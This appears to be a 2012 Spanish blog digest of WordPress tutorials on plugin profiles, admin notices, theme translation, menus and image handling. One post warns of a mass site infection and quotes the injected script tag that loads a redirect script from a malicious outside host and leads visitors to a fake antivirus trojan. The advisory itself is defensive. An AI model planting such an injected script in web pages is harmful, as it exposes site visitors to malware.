jueves, 8 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Crea instalaciones personalizadas de WordPress y compártelas

Posted: 08 Mar 2012 04:23 PM PST

Seguro que cuando creas sitios con WordPress casi siempre usas los mismos plugins ¿a que si?, y sino hay configuraciones estándar que tienes que repetir una y otra vez, dependiendo del tipo de sitio.

Pues debes saber que ahora puedes crear tus configuraciones personalizadas de plugins WordPress e instalarlas de golpe, una por una o todas. Y, además, puedes compartirlas con otros, en la nube.

El proceso es bastante sencillo, no digamos si piensas en la de tiempo que te vas a ahorrar en el futuro, vamos a ello:

1. Crea los perfiles

El primer paso, tras registrarte, es crear un perfil, o varios, de configuraciones de plugins en WP Install profiles.

Nada más terminar el registro te lleva a la pantalla de creación de tu primer perfil, y es supersencillo:

  1. Le pones nombre y descripción
  2. Añades plugins mediante el slug de la URL de WordPress Extend, de manera que si quieres añadir Simple Tags, y la url es “http://wordpress.org/extend/plugins/sinple-tags/”, lo que pondrías en la lista es simple-tags. También tienes un buscador integrado
  3. Guardas los cambios

Una vez hecho esto tienes tu perfil creado, que no solo puedes usar tu sino cualquier usuario de WP Install Profiles. Además, en la lista de plugins, haciendo clic sobre cualquiera de ellos se abre su descripción.

install profiles 4 install profiles 3

2. Instala el plugin conector

Una vez tengas perfiles hechos, o simplemente si has encontrado perfiles de otro usuario que te sirven perfectamente, tienes que instalar en el WordPress que los acogerá el plugin Install Profiles y, una vez activo, en su ventana de ajustes, podrás …

  • Copiar una lista de slugs de un perfil de cualquier usuario e instalarlos en masa
  • Indicar un nombre de usuario de WP Install Profiles y se mostrarán los perfiles que ha creado, pudiendo instala el que quieras

En este corto vídeo puedes ver este simple proceso:

Es más, el plugin te permite incluso crear perfiles nuevos desde tu instalación actual, cerrando el círculo perfecto.

Por supuesto, que este servicio no te crea plantillas completas, con temas, incluso con la instalación de WordPress, que para eso hay otros servicios, pero si es un modo genial de crear plantillas de plugins para distintos usos e instalarlos más rápidamente y sin tener que revisar instalaciones previas para acordarte de cual usar.

Otra virtud es que el servicio, al ser abierto, funciona como una comunidad, donde puedes aprender de las configuraciones de perfiles de otros, revisando los plugins que usan para distintos usos, lo que hace este servicio aún más interesante.

Yo solo he creado aún un solo perfil pero creo que lo voy a usar bastante. Si quieres ver mi usuario es este.

miércoles, 7 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Avisos personalizados en WordPress

Posted: 07 Mar 2012 04:03 PM PST

Los nuevos apuntadores, o ventanitas de aviso en WordPress 3.3, sean de tu gusto o no, tienen muchas posibilidades. Y no precisamente por los mensajes por defecto, aunque tampoco está tan mal que WordPress te avise de las nuevas funcionalidades.

Pero una ventaja es que, frente a los feos mensajes de aviso de texto con fondo amarillo que podíamos usar hasta ahora, personalizando, o sea, añadiendo avisos personalizados, le podemos dar un plus de funcionalidad, sobre todo cuando tenemos un WordPress con varios autores o en instalaciones para clientes.

¿Quieres un ejemplo?

Pues puedes usar este código, solo con cambiar las líneas 8 y 9 lo tendrás a tu gusto:

add_action( 'admin_enqueue_scripts', 'my_admin_enqueue_scripts' ); function my_admin_enqueue_scripts() {     wp_enqueue_style( 'wp-pointer' );     wp_enqueue_script( 'wp-pointer' );     add_action( 'admin_print_footer_scripts', 'my_admin_print_footer_scripts' ); } function my_admin_print_footer_scripts() {     $pointer_content = '<h3>Ayuda WP | AVISO</h3>';     $pointer_content .= '<p>No olvides añadir siempre una imagen a tus artículos. Además recuerda siempre poner la tag "Principiante", "Avanzado" o "Experto" según el destinatario de la publicación.</p>'; ?>    <script type="text/javascript">    //<![CDATA[    jQuery(document).ready( function($) {     $('#menu-appearance').pointer({         content: '<?php echo $pointer_content; ?>',         position: 'top',         close: function() {             // Cuando hace clic en el botón de cerrar         }       }).pointer('open');    });    //]]>    </script> <?php }

Te quedará así de guapetón …

¿Qué donde lo añades?, pues donde siempre, en tu fichero functions.php o plugin de funciones.

Una peculiaridad de este tipo de avisos, no se ocultan para siempre, cada vez que accedes a la zona de admin ahí está.

Eso si, que queda superchulo :)

martes, 6 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Mostrar mensajes especiales en entradas antiguas

Posted: 06 Mar 2012 04:03 PM PST

Supongo que ya sabes que pasado cierto tiempo, normalmente días, los visitantes que llegan a tu web provienen mayoritariamente de buscadores. Y esto significa varias cosas, a saber:

  • No son visitantes fieles, tus lectores te visitan cada día
  • El tiempo de permanencia es bajo
  • No suelen dejar comentarios, y casi mejor que no lo hagan
  • El ratio de clic sobre los anuncios suele ser mayor que el de los visitantes habituales

… entre otras muchas cosas.

Entonces ¿por qué no desarrollar una estrategia de cara a este tipo de visitas?, por ejemplo con la publicidad. Porque ya sabes que a los visitantes habituales no les gusta la publicidad, que para eso ya te honran con su presencia diaria, pero seguro que con los visitantes ocasionales si podemos hacer alguna excepción.

Y un modo podría ser configurar nuestro WordPress para que en las entradas con algunos días de antigüedad se muestre algún texto especial, como por ejemplo anuncios que normalmente no molestarían a tus visitantes diarios.

El primer paso es añadir el siguiente código al fichero functions.php de tu tema activo o a tu plugin de funciones:

function es_entrada_vieja($post_id=null){    $days = 30;    global $wp_query;    if(is_single() || is_page()) {       if(!$post_id) {          $post_id = $wp_query->post->ID;       }       $current_date = time();       $offset = $days *60*60*24;       $post_id = get_post($post_id);       $post_date = mysql2date('U',$post_id->post_date);       $cunning_math = $post_date + $offset;       $test = $current_date - $cunning_math;       if($test > 0){          $return = true;       }else{          $return = false;       }    }else{       $return = false;    }    return $return; }

En este ejemplo el código hace una query para detectar la fecha de cada entrada, y funcionará en entradas con más de 30 días de antigüedad, y si quieres cambiarlo solo debes modificar la cadena $days de la línea 2.

Guardas y ahora ya puedes poner un código de este estilo en tu tema, en el sitio (normalmente en single.php) donde quieras que se muestre la publicidad – solo en las entradas antiguas:

<?php if(es_entrada_vieja()){ ?> <p>¡HOLA! Si no quieres perderte todo el contenido maravilloso de este blog <a href="http://feeds.feedburner.com/AyudaWordPress"><strong>suscríbete al feed</strong></a>.</p> <p>AQUÍ VA UN ANUNCIO, UNA IMAGEN O LO QUE SEA</p> <?php } ?>

Por supuesto, puedes poner ahí lo que quieras, ya sea un script de publicidad, HTML para animar a que se suscriban a tu blog o lo que se te ocurra.

Inyección de código en WordPress – antivirus falso

Posted: 06 Mar 2012 01:39 PM PST

En Websense Security Labs han avisado de que hay más de 30.000 instalaciones de WordPress ya infectadas mediante un troyano que añade código de redirección en la web afectada.

Los sitios infectados tenían versiones no actualizadas de WordPress, contraseñas inseguras y plugins vulnerables.

El código que inyecta se coloca antes de la etiqueta < / body > y suele ser algo así:

</div><!--End-body-wrapper--> <script src="http:// ionis90landsi.rr.nu /mm.php ?d=1"></script></body></html>

Tras una cadena de redirecciones de tres niveles las víctimas aterrizan en un sitio de antivirus falso. El antivirus de pega parece realizar un escaneo del ordenador y avisa al usuario mostrando detecciones de malware falso de varios tipos de troyanos. La página parece una ventana del explorador de Windows, con el título de “Windows Security Alert“.

El proceso falso de escaneo parece una aplicación Windows, pero en realidad es una simple ventana emergente del navegador. Luego, el falso antivirus pide al “visitante” que descargue y ejecute una herramienta antivirus que – supuestamente – ha encontrado los troyanos. El ejecutable mismo es un troyano ¿qué esperabas?.

La mayoría de los sitios infectados están en los EEUU como puedes ver en este tráfico:

Y los visitantes a la página falsa ya son de un montón de países, todos angloparlantes:

¿Recomendaciones?

  • Actualiza WordPress a la última versión siempre
  • Usa solo plugins y temas seguros
  • No uses contraseñas sencillas
  • Protege tus carpetas y archivos de la instalación de WordPress
  • No alimentes el efecto pebcak
  • Instala un buen antivirus si usas Windows

Gracias a Jose por avisar y a Ze y bi0xid por las coñas marineras

lunes, 5 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Crear elemento de menú sin enlace

Posted: 05 Mar 2012 04:04 PM PST

Los menús de WordPress son un gran avance, aunque parezca poca cosa. El hecho de poder configurar un menú de navegación por entradas, páginas, categorías, tags o enlaces personalizados, sin tocar una línea de código, es algo demandado hace tiempo, sobre todo porque era algo que ya tenían otros CMS hace tiempo.

Y desde WordPress 3.0 ya está disponible internamente en WordPress la gestión de menús en los temas, si estos los soportan, y sino lo añades como explicaba en el enlace anterior.

Pues bien, una pregunta, quizás tonta, que me hacen en muchos cursos es cómo añadir un elemento de menú que no enlace a nada, que sea una especie de ancla a la que se añadan otros submenús.

Y la respuesta, de puro simple es muy fácil. Lo único que tienes que hacer es añadir un enlace personalizado y, en el campo URL, poner #.

Lo que consigues es un elemento de menú que, al hacer clic en el mismo, no te lleva a ninguna parte, solo sirve de “apertura” para sus submenús.

elemento menu sin enlace 1 elemento menu sin enlace 2 elemento menu sin enlace 3

Este truco, por supuesto, funciona igual en WordPress alojado y en WordPress.com.

domingo, 4 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Preparar tema WordPress para traducción

Posted: 04 Mar 2012 04:10 PM PST

Hoy en día no tiene sentido, con el grado de avance de WordPress, publicar un tema nuevo sin que venga preparado para traducciones, para que los usuarios puedan fácilmente añadir la localización para su idioma. Si queremos que nuestro tema sea popular, que llegue a todas partes y sea fácil de utilizar por usuarios de WordPress de cualquier país, no tienes excusa para facilitar su internacionalización.

Además, es muy sencillo preparar un tema WordPress para traducción, internacionalización, localización, como quieras llamarlo, así que vamos a verlo ya mismo …

Los 5 pasos para preparar un tema WordPress para traducción que vamos a seguir son los siguientes:

  1. Cargar un dominio de texto
  2. Procesar los mensajes de texto con funciones WordPress
  3. Extraer los mensajes con Poedit
  4. Ofrecer una traducción para cada mensaje y crear un archivo de idioma para una traducción concreta
  5. Decir a WordPress que active la localización y cargue el archivo de idioma

Vamos a ello …

1. Cargar un dominio de texto

Lo primero que hay que hacer es cargar un dominio de texto añadiendo la siguiente línea al archivo functions.php de tu tema:

load_theme_textdomain('mitema', get_template_directory() . '/languages');

El primer argumento debe ser un identificador único (una buena práctica es usar el nombre de tu tema); lo que define el dominio del tema, ya que el texto para la traducción no estará en los archivos de instalación de WordPress. El segundo argumento define la carpeta de los archivos de idioma. Para cargar estos archivos la función debe estar unida a la acción after_setup_theme action:

add_action('after_setup_theme', 'my_theme_setup'); function my_theme_setup(){     load_theme_textdomain('mitema', get_template_directory() . '/languages'); }

2. Procesar los mensajes de texto con funciones WordPress

Después de editar el fichero functions.php, el siguiente paso es revisar el código de los archivos del tema, encontrar los mensajes que tienen que traducirse y procesarlos con la función WordPress adecuada. Los dos más importantes, y que se usan más a menudo, son _e($text_message) y __($text_message).

La primera función busca la traducción del $text_message y lo imprime. Si la traducción no existe entonces imprime $text_message. Esta función se usa para los mensajes de texto que no sean funciones PHP, ya que imprime el resultado. Por ejemplo, eliges la siguiente línea:

echo 'Hello user';

Y hay que transformarla a:

_e('Hello user','mitema');

La segunda función busca la traducción del $text_message y lo devuelve. Si no existe traducción entonces devuelve el $text_message. Esto se usa para el texto que esté en funciones PHP. Por ejemplo:

the_content( 'Read more' );

Hay que transformar la llamada de la función a:

the_content( __('Read more','mitema') );

A veces un mensaje de texto incluye datos dinámicos, como números de una variable PHP. En estos casos usaremos la función PHP printf para producir la cadena del mensaje final:

$results_found = 12; $message = sprintf( __('%s results found' , 'mitema') , $results_found );

Singular y plural

WordPress ofrece una función para la traducción singular y plural del mismo mensaje de texto:

_n( $single, $plural, $number, $domain )

El primer argumento es el texto que se usará para el singular, y el segundo es el texto que se usará para el plural. El tercer argumento es el número con el que comparar para decidir cual usar.

Aunque la función _n() está incluida en WordPress no se recomienda usarla ya que el software de traducción solo usa el primer parámetro de una función, así que no se procesarían estos dos mensajes de texto. En su lugar podemos usar la declaración PHP if:

if($results_found == 1) $message = __('1 result found' , 'my-text-domain'); else $message = sprintf( __('%s results found' , 'my-text-domain') , $results_found );

3. Extraer los mensajes con Poedit

Una vez hemos procesado cada mensaje de texto con las funciones antes mencionadas nuestro tema está listo para traducción. A estos efectos hay tres tipos de ficheros de idioma:

  1. El archivo .POT contiene una lista de todos los mensajes traducibles de tu tema
  2. El archivo .po se crea cuando traducimos un fichero POT a un idioma concreto
  3. El archivo .mo es un archivo binario que lo crea automáticamente Poedit. Este es el que WordPress lee para traducir temas y plugins

Creamos el POT
Lo primero es crear el fichero POT, que contiene todos los mensajes del código del tema y que será el archivo que el traductor use para traducir los mensajes de otro fichero de idioma. Aunque hay varias aplicaciones para editar y crear ficheros de idioma te recomiendo Poedit, que es multiplataforma y es el que yo uso.

  1. Abre Poedit y crea un nuevo catálogo
  2. Completa la información del catálogo en la pestaña “Información del proyecto”
  3. En la pestaña “Rutas” identifica la carpeta donde Poedit buscará los archivos con el código que contiene los mensajes de texto traducibles. Estas carpetas son relativas a la carpeta de nuestro archivo de idioma así que guardaremos el archivo en una carpeta de la carpeta de tu tema, por lo que añadiremos ..:
  4. En la pestaña “Palabras clave” definiremos las funciones WordPress utilizadas para traducir mensajes (recuerda que Poedit no es solo para WordPress). En nuestro tema las dos palabras clave utilizadas han sido __ y _e.
  5. Una vez que hagas clic en “Aceptar” Poedit busca en las carpetas que le hemos dicho en la pestaña “Rutas” y te listará los mensajes de texto encontrados en los archivos del tema.
  6. Guarda el archivo POT en una carpeta llamada languores dentro de la carpeta de tu tema.

Este archivo POT recién creado en realidad no lo necesita WordPress, es simplemente la plantilla que contiene las cadenas de mensajes traducibles, que puedes facilitar al traductor para que lo traduzca y te devuelva un fichero .po.

4. Ofrecer una traducción para cada mensaje y crear un archivo de idioma para una traducción concreta

Como ya tenemos el POT ahora solo hay que empezar a traducir cadenas de texto con Poedit, la aplicación, la primera vez que guardes cambios crea el solito los ficheros .po y .mo.

  1. Empieza a elegir cadenas de texto de la lista y traduce una a una en los campos inferiores
  2. Sigue traduciendo hasta que estén todas las cadenas de texto traducidas a tu idioma
  3. Guarda y verás los ficheros .po y .mo generados automáticamente en la carpeta languages

5. Decir a WordPress que active la localización y cargue el archivo de idioma

Una vez hayamos creado los ficheros .po y .mo ya podemos decir a WordPress que active la localización y cargue los archivos del idioma. Edita el archivo wp-config.php, que encontrarás en la carpeta raíz de la instalación de WordPress.

Lo que hay que hacer es modificar la variable WPLANG al idioma que queremos usar. Por ejemplo:

define('WPLANG', '');

Pasaría a quedar así si vamos a usar la localización (traducción) al español de España:

define('WPLANG', 'es_ES');

Si WordPress encuentra un archivo de traducción al “español de España” como hemos definido en la configuración del catálogo, en la carpeta que configuramos en el primer paso de este tutorial, entonces mostrará los mensajes traducidos a este idioma en el tema y los visitantes lo verán en español de España. Si no lo encontrara entonces mostraría los mensajes por defecto.

EXTRA: Preparar para traducción plugins

Aunque no iba de plugins esta guía no está de más explicar como se prepara para traducción un plugin, máxime cuando hay pasos que se repiten, así que vamos a ver lo que cambia a la hora de internacionalizar plugins.

Al igual que hacemos con el tema, lo primero es decirle a WordPress donde encontrará los archivos de idioma, añadiendo la siguiente función, en este caso en el archivo principal del plugin:

load_plugin_textdomain('miplugin', false, basename( dirname( __FILE__ ) ) . '/languages' );

El primer parámetro define el dominio del texto, a ser posible usando el nombre del plugin, ya que debe ser único. El segundo parámetro define la ruta de la carpeta donde estará el fichero .mo. Como corresponde a una función anticuada, que fue válida hasta WordPress 2.7, especificaremos como valor false. El tercer parámetro es la carpeta donde están los archivos de idioma, en este caso asumimos que hay una carpeta llamada language dentro de la carpeta del plugin.

También, para cargar los archivos de idioma tenemos que añadir un ‘hook‘ y enlazar esta función en la acción init de WordPress:

function traduccion_miplugin() { load_plugin_textdomain('miplugin', false, basename( dirname( __FILE__ ) ) . '/languages' ); } add_action('init', 'traduccion_miplugin');

Para terminar tendremos que procesar los mensajes de texto igual que hemos hecho con el tema, siguiendo los pasos 2 al 5, usando las funciones que a estas alturas ya conoces: _e($text_message) y __($text_message). Una vez procesado todo y creados los ficheros de traducción nuestro plugin estará listo para traducción.

Más información:

Syntax mode de WordPress para Panic CODA

Posted: 04 Mar 2012 05:23 AM PST

Si no conoces la aplicación Panic CODA seguramente te estás perdiendo la que quizás sea el mejor software que existe para un programador web.

De hecho, hay desarrolladores web que se han pasado a Mac “solamente” para usar CODA. Y no es una locura, en realidad hay muchas razones para pasarse a Mac pero usar CODA es una de ellas, y poderosa. Pero bueno, que no se trata de hacer proselitismo de Mac o CODA.

Lo que quiero compartir contigo hoy es un fichero de descarga que permite usar la sintaxis de WordPress en CODA, para que identifique los códigos de tus temas y plugins WordPress, sus funciones en concreto, y te permite cosas como el autocompletado de sintaxis y esas cosas maravillosas que hace CODA.

Para tener esta funcionalidad solo tienes que hacer esto:

  1. Descargar este archivo:
    zip Modo WordPress para Panic CODA v.1.0 (230.65 kB )
  2. Descomprimir el zip
  3. Copiar la carpeta descomprimida llamada PHP-HTML-WP.mode en la carpeta ~/Library/Application Support/Coda/Modes/
  4. Abre un archivo PHP o de WordPress y carga el modo de sintaxis en CODA desde el menú “Text -> Syntax Mode -> PHP-HTML-WP
  5. Opcional: Si quieres que este modo sea la sintaxis por defecto, en el panel del Editor, en la venta de preferencias, elige el modo “PHP-HTML-WP” como tipo de archivo por defecto

Ahora CODA ya identificará las funciones WordPress, facilitándote la vida como desarrollador de WordPress, como ya hacía con PHP, HTML o CSS, por ejemplo.

Encontrado en HitchHackers

sábado, 3 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Breadcrumbs en BuddyPress

Posted: 02 Mar 2012 04:04 PM PST

Si no sabes lo que es un breadcrumb, que traducido sería algo así como las migas de pan que dejaba Pulgarcito (o Hansel y Gretel) en el cuento para saber como volver a casa, solo que esta vez no se las comerán los pajaritos. Pues es eso exactamente, un recurso de navegación que, en una web, te permite saber siempre en la ruta en la que te encuentras, algo como: Inicio -> Tutoriales -> Como instalar WordPress.

En muchos casos el tema que uses ya lo tendrá incorporado, y ya hace tiempo que te mostré como añadir breadcrumbs en WordPress, pero no pasa lo mismo con todos los temas para BuddyPress, si no es así toma nota, que lo tendrás en un momento …

Pásate por tu instalador de plugins y pon en marcha “Breadcrumbs everywhere“. Esta pequeña maravilla añade los breadcrumbs en tu tema BuddyPress, y te permite configurar las denominaciones de, por ejemplo, tu portada y la sección blog, o noticias.

Una vez instalado solo tienes que añadir este código donde quieras que aparezca el breadcrumb en tu tema:

<?php if (function_exists('breadcrumbs_everywhere')) breadcrumbs_everywhere(); ?>

Yo lo suelo poner en el fichero header.php, justo después de esta línea:

<?php do_action( 'bp_before_container' ) ?>

Y ya está :)

Puedes ver como queda en la comunidad Open Government que tengo por ahí.

jueves, 1 de marzo de 2012

Hoy en AyudaWordPress.com

Hoy en AyudaWordPress.com

Link to Ayuda WordPress

Obtener y mostrar imágenes del contenido

Posted: 01 Mar 2012 04:05 PM PST

Desde hace varias versiones que WordPress puede mostrar en tu tema imágenes destacadas pero ¿qué pasa si no usas ese sistema?, o si simplemente tu tema no soporta imágenes destacadas.

La solución sería un código que revise tu contenido y, si encuentra una imagen, la muestre en tu sitio.

Sería una cosa así:

// Empieza el Loop <?php if (have_posts()) : ?><?php while (have_posts()) : the_post(); ?> <?php // Definimos el contenido de la entrada a una variable $szPostContent = $post->post_content; // Defininimos el patrón a buscar $szSearchPattern = '~<img [^\>]*\ />~'; // Ejecutamos preg_match_all para obtener todas las imágenes y guardar los resultados en $aPics preg_match_all( $szSearchPattern, $szPostContent, $aPics ); // Contamos los resultados  $iNumberOfPics = count($aPics[0]); // Comprobación de si hay al menos 1 imagen if ( $iNumberOfPics > 0 ) {      // Ahora hacemos lo que sea con las imágenes      // En este ejemplo se muestran las imágenes for ( $i=0; $i < $iNumberOfPics ; $i++ ) {           echo $aPics[0][$i];      }; };  endwhile; endif; ?> // ...termina el loop, etc

En el código anterior, una vez mostramos las imágenes es bastante probable que quieras también mostrar el contenido ¿no?. Vale, pues el problema es que si usamos la función the_content(); las imágenes se volverán a mostrar. Para resolver esta puñetita solo hay que hacer un rodeo para quitar las imágenes, y mostrar solo el resto del contenido:

// Esta vez remplazamos/quitamos las imágenes del contenido $szDescription = preg_replace( $szSearchPattern, '' , $szPostContent); // Aplicamos filtros para que se muestre bien el contenido $szDescription = apply_filters('the_content', $szDescription); // Mostramos el contenido echo $szDescription;

¡Y ya está!

Esta virguería la creó Matt Varone.

Seguidores

Archivo del blog